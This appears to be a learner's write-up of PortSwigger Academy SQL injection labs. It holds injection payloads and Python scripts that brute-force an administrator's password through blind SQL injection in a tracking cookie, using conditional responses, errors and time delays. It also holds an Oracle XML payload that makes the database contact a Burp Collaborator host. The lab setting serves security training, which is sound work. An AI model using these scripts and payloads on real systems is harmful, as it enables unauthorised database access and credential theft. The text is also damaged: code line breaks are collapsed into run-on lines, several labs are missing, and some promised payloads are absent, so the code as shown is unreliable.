This contains all the writeups for the SQL Injection labs from PortSwigger Academy, from easy to hard.
Lab 1: WHERE Clause
To solve lab, perform a SQL injection attack that causes the application to display one or more unreleased products.
When viewing products, can see that productId is set depending on the website used:
Sending a ' character results in an "Invalid Product ID" message, meaning SQL Injection works.
Based on the website's clues, there is a category variable that is vulnerable. Setting it to ' OR 1=1-- would cause the query to return everything and solve the lab.
There are 2 columns within this database. Then, test that the first column is the one that returns data. After that, test with @@version and version(), confirm that it is PostgreSQL running.
Find table name via table_name FROM information_schema.tables, then CONCAT(username,password) FROM users.
Same as lab 9, just use the second column to return data instead.
Lab 11: Blind SQLI with Conditional Responses
This lab has a tracking cookie which makes it different from the other labs. When adding a ' character to the cookie, it shortens the response, as the Welcome back! message is no longer printed.
From this, I could create a template script to use:
Testing this with 1=2 and 1=1 returns the correct result. Then, I tried to enumerate the type of database via substring brute force of @@version and version():
import requestsimport reimport sysimport stringfrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)HOST ='0aa80019039dbe768097177d00ff001d'COOKIE ='cookie'proxies ={"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"}url =f'https://{HOST}.web-security-academy.net/'s = requests.Session()for j in string.printable[:-10]: payload =f"' AND substring(version(), 1, 1) = '{j}'--" cookies ={'session':f'{COOKIE}','TrackingId':'mAtlrZn449A7Xotk'+ payload}print(payload) r = s.get(url, cookies=cookies, proxies=proxies, verify=False)if re.search(r"Welcome back!", r.text):print("True")breakelse:pass
The above returned True for the character 'P', confirming this is PostgreSQL. Afterwards, I added a loop to make it brute force everything:
import requestsimport reimport sysimport stringfrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)HOST ='0aa80019039dbe768097177d00ff001d'COOKIE ='cookie'proxies ={"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"}i =1url =f'https://{HOST}.web-security-academy.net/'s = requests.Session()whileTrue: done =Truefor j in string.printable[:-10]: payload =f"' AND substring(version(),{i},1) = '{j}'--" cookies ={'session':f'{COOKIE}','TrackingId':'mAtlrZn449A7Xotk'+ payload} r = s.get(url, cookies=cookies, proxies=proxies, verify=False)if re.search(r"Welcome back!", r.text): sys.stdout.write(j) sys.stdout.flush() i +=1 done =Falsebreakelse:continueif done:break
This works in brute-forcing the database version, albeit a little slow. Anyways, from this I can brute force the stuff within the users table. The structure is given to us already, so here's the final script:
import requestsimport reimport sysimport stringfrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)HOST ='0aa80019039dbe768097177d00ff001d'COOKIE ='cookie'proxies ={"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"}i =1url =f'https://{HOST}.web-security-academy.net/'s = requests.Session()all_chars = string.ascii_lowercase + string.digitswhileTrue: done =Truefor j in all_chars:#payload = f"' AND substring(version(),{i},1) = '{j}'--" payload =f"' AND (SELECT SUBSTRING(password,{i},1) FROM users WHERE username ='administrator') = '{j}'--" cookies ={'session':f'{COOKIE}','TrackingId':'mAtlrZn449A7Xotk'+ payload}# print(payload) r = s.get(url, cookies=cookies, proxies=proxies, verify=False)if re.search(r"Welcome back!", r.text): sys.stdout.write(j) sys.stdout.flush() i +=1 done =Falsebreakelse:continueif done:break
Lab 12: Blind SQLI with Conditional Errors
This is the same as above, just that queries that have errors result in r.status_code == 500.
Firstly, test the type of database by enumerating the version, and I found that this didn't function with @@version nor version(), meaning that it is an Oracle database.
Can use UNION injection to do this based on the cheatsheet given by Portswigger.
import requestsimport reimport sysimport stringfrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)HOST ='0aaf00570425dff981573eec00f80002'COOKIE ='cookie'proxies ={"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"}i =1url =f'https://{HOST}.web-security-academy.net/'s = requests.Session()all_chars = string.ascii_lowercase + string.digitswhileTrue: done =Truefor j in all_chars: payload = f"' UNION SELECT CASE WHEN (username='administrator' AND SUBSTR(password,{i},1) = '{j}') THEN to_char(1/0) ELSE NULL END FROM users--"
cookies ={'session':f'{COOKIE}','TrackingId':'rrlrgzRhkR73W0IX'+ payload} r = s.get(url, cookies=cookies, proxies=proxies, verify=False)if r.status_code ==500: sys.stdout.write(j) sys.stdout.flush() i +=1 done =Falsebreakelse:continueif done:break
Lab 13: Visible error-based SQLI
Same as above, but this time if there is an error in the query, it returns a 500, and also prints out the entire query:
So for this case, we have to force visible error messages. Using 1=1 and 1=2 result in the same 200 being returned. I took a look at the 'Visible Error Messages' section of Portswigger's SQL cheatsheet.
Did some testing with each payload, and found that MSSQL was returning good results:
This is the payload used:
' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
So, the website only displays error messages, and in this case, it forces an error by casting a string type (from the SELECT username portion) as an integer, and equating it to 1.
This obviously won't work, and it will print the string we want out. Getting the password is trivial from here.
Lab 14: Trigger Time Delay
To solve this lab, trigger a 10s delay. This lab doesn't show me any errors or whatever.
In this case, I tested with multiple different payloads for different databases, and found that this one works:
This is the same thing as above, just that now I have to extract the password of administrator.
Firstly, I tested the type of database that this was running on, and found that the above payload for PostgreSQL works.
Next, using the same template script I've created, replace the true condition with elapsed.total_seconds() > 2, since I used pg_sleep(2).
import requestsimport reimport sysimport stringfrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)HOST ='0a8b00780357dec5803b08c500870056'COOKIE ='cookie'proxies ={"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"}i =1url =f'https://{HOST}.web-security-academy.net/'s = requests.Session()all_chars = string.ascii_lowercase + string.digitswhileTrue: done =Truefor j in all_chars: payload = f"x'%3B SELECT CASE WHEN SUBSTRING(password,{i},1)='{j}' THEN pg_sleep(2) ELSE pg_sleep(0) END FROM users WHERE username='administrator'--"
cookies ={'session':f'{COOKIE}','TrackingId': payload} r = s.get(url, cookies=cookies, proxies=proxies, verify=False)if r.elapsed.total_seconds()>2: sys.stdout.write(j) sys.stdout.flush() i +=1 done =Falsebreakelse:continueif done:break
This would eventually return the password.
Lab 16: Out-of-Band Interaction
To solve, trigger a DNS lookup via SQL Injection. One is supposed to use Burp Collaborator to solve this. To solve this, I just tested each payload from the DNS lookup portion of their cheatsheet.
The Oracle one works:
x' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http%3a//BURP.oastify.com/"> %remote;]>'),'/l') FROM dual--
URL encode the above and you're good to go.
Lab 17: Exfiltration via DNS
For this, the goal is to append a query to the out of band interaction.